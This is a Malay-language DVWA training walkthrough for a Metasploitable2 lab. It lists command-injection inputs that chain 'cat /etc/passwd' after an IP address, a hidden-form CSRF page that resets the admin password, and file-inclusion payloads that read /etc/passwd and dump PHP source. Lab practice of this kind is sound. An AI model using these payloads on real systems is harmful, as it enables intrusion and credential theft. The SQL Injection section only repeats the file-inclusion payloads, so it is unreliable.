DVWA walkthrough Part 2

[1] Command Execution (low, medium, high)	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`

3	Login ke DVWA menggunakan credentials berikut:
	`Username: admin`
	`Password: password`

4	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**
5	Startkan burp suite dan rujuk pada demo video.

6	Command Execution payloads:
	low
	`8.8.8.8`
	`8.8.8.8 && cat /etc/passwd`
	`8.8.8.8; cat /etc/passwd`
	
	medium
	`8.8.8.8 && cat /etc/passwd`
	`8.8.8.8; cat /etc/passwd`
	`8.8.8.8 | cat /etc/passwd`
	
	high
	`8.8.8.8 | cat /etc/passwd`

[2] CSRF (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video)

```
$ kex
```

3 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
Password: password
```

4 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.**

5 Startkan burp suite dan rujuk pada demo video.

6 CSRF payloads:

low

```
-------------------------------------------------------------
http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password
_new=12345&password_conf=12345&Change=Change#
-------------------------------------------------------------
```

csrf.html

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://
ip_metasploitable2/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="12345" />
      <input type="hidden" name="password&#95;conf" value="12345"
/>
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
-------------------------------------------------------------
https://tools.nakanosec.com/csrf/
-------------------------------------------------------------
```

medium

---

http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change

---

Install Penetration Testing Kit Chrome Extension, dan kemudian ubah traffic (Setkan Referer:127.0.0.1)

https://chrome.google.com/webstore/detail/penetration-testing-kit/ojkchikaholjmcnefhjlbohackpeeknd?hl=en-GB

---

high

---

http://ip_metasploitable2/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change

[3] File Inclusion (low, medium, high)	
1	Startkan vm metasploitable2 anda.

2	Login ke DVWA menggunakan credentials berikut:
	`Username: admin`
	`Password: password`

3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.** Rujuk demo video.
4	File Inclusion payloads: **low** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **medium** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **high** /fi/?page=123 /fi/?page=index.php /fi/?page=include.php

[4] SQL Injection (low, medium, high)	
1	Startkan vm metasploitable2 anda.

2	Login ke DVWA menggunakan credentials berikut:
	`Username: admin`
	`Password: password`

3	Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high.** Rujuk demo video.
4	File Inclusion payloads: **low** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **medium** /fi/?page=123 /fi/?page=/etc/passwd /fi/?page=index.php /fi/?page=php://filter/convert.base64-encode/resource=index.php **high** /fi/?page=123 /fi/?page=index.php /fi/?page=include.php